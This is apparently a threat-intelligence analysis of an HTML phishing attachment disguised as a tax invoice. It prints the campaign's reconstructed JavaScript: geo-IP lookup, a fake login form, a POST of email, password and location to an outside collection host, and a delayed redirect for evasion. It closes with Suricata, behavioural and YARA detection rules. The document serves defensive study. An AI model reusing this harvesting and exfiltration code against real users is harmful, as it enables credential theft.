Anatomy of a Low-Detection Credential Phishing Campaign

[Email Delivery] → [Social Engineering] → [HTML Execution] → [Credential Harvesting] → [Geo-IP Collection] → [C2 Exfiltration] → [Delayed Redirect]

Filename:        Tax Invoice PDF.SHTML
Size:            18 KiB
MIME Type:       text/html
SHA256:          15383c1b855341a0bc4975f2f3ed299bc6abf13a3e6e48b05ca3371dd7068dfc
AV Detection:    1/26 (3%) — Avira: PHISH/HTML.Agent.ENJ
Entropy:         5.42 (high — indicates script obfuscation)
First Seen:      2026-05-01 07:57:37 UTC

From:    Account <accnt@hackteam.red>
To:      b0x@hackteam.red
Date:    29 Apr 2026, 21:29 UTC
Subject: [Implied] Tax Invoice

# Primary execution
msedge.exe -- "file:///C:/TaxInvoicePDF.SHTML.html"

# Child processes spawned (standard Edge browser behavior)
msedge.exe --type=renderer
msedge.exe --type=gpu-process
msedge.exe --type=utility --utility-sub-type=network.mojom.NetworkService
identity_helper.exe --type=utility

// ============================================
// Phase 1: Geolocation Reconnaissance
// ============================================
fetch('http://ip-api.com/json/?fields=status,message,country,regionName,city,isp,query')
  .then(response => response.json())
  .then(geoData => {
    if (geoData.status === 'success') {
      locationData = {
        country: geoData.country || 'Unknown',
        state: geoData.regionName || 'Unknown',
        city: geoData.city || 'Unknown',
        isp: geoData.isp || 'Unknown',
        ip: geoData.query || 'Unknown'
      };
    }
  });

// ============================================
// Phase 2: Credential Harvesting Form
// ============================================
/*
  Rendered HTML structure (inferred):
  <form method="post" id="authForm">
    <input type="email" placeholder="email" name="oruko">
    <input type="password" placeholder="Enter password" name="...">
    <button type="submit">Access Document</button>
  </form>
  <div id="errorMsg">Invalid credentials</div>
*/

document.getElementById('authForm').addEventListener('submit', function(e) {
  e.preventDefault(); // Prevent actual form submission

  const formEmail = document.querySelector('[name="oruko"]').value;
  const formPassword = document.querySelector('[type="password"]').value;

  // ============================================
  // Phase 3: Data Exfiltration
  // ============================================
  const xhr = new XMLHttpRequest();
  const PHP_ENDPOINT = 'https://premiumpriests4owo.site/report.php';

  xhr.open('POST', PHP_ENDPOINT, true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

  const params = new URLSearchParams();
  params.append('oruko', formEmail);      // "oruko" = Yoruba for "name"
  params.append('...', formPassword);    // [obfuscated key]
  params.append('geo', JSON.stringify(locationData));

  xhr.send(params.toString());

  // ============================================
  // Phase 4: Evasion — Delayed Redirect
  // ============================================
  setTimeout(() => {
    window.location.href = 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQaUwWuDNV0h2gvKH5z1fKZ2B05YVGNhfKgCg&s';
  }, 2000); // 2-second delay to mask data transmission
});

# Suricata / Snort Signatures
alert http any any -> any any (
    msg:"PHISHING HTML Credential Exfiltration - ip-api.com + form POST";
    content:"ip-api.com"; http_uri;
    content:"password"; http_client_body;
    content:"email"; http_client_body;
    classtype:trojan-activity;
    sid:1000001; rev:1;
)

alert http any any -> any any (
    msg:"SUSPICIOUS POST to .site domain with credential data";
    content:"POST"; http_method;
    content:".site/"; http_uri;
    pcre:"/(password|passwd|pwd|email|oruko)/i";
    classtype:trojan-activity;
    sid:1000002; rev:1;
)

# Behavioral Indicator
Process: msedge.exe | chrome.exe | firefox.exe
CommandLine contains: "file:///" AND "*.html" AND ("ip-api.com" OR "ipapi.co")
Action: Alert + Isolate

# File System Indicator
FileWrite: *.SHTML, *.HTML with entropy > 5.0 AND contains "password" OR "type="password""
Action: Quarantine + Hash submission

rule HTML_Credential_Harvester_Generic {
    meta:
        description = "Detects HTML-based credential phishing with geo-IP and exfiltration"
        author = "ThreatIntel Analyst"
        date = "2026-05-01"
        hash = "15383c1b855341a0bc4975f2f3ed299bc6abf13a3e6e48b05ca3371dd7068dfc"
    strings:
        $geo1 = "ip-api.com" ascii wide
        $geo2 = "ipapi.co" ascii wide
        $form1 = "type="password"" ascii wide
        $form2 = "placeholder="Enter password"" ascii wide
        $exfil1 = "XMLHttpRequest" ascii wide
        $exfil2 = "URLSearchParams" ascii wide
        $exfil3 = "application/x-www-form-urlencoded" ascii wide
        $redirect1 = "setTimeout" ascii wide
        $redirect2 = "window.location.href" ascii wide
    condition:
        filesize < 50KB and
        (uint16(0) == 0x3c21 or uint16(0) == 0x3c68) and // HTML signature <! or <h
        1 of ($geo*) and
        1 of ($form*) and
        1 of ($exfil*) and
        1 of ($redirect*)
}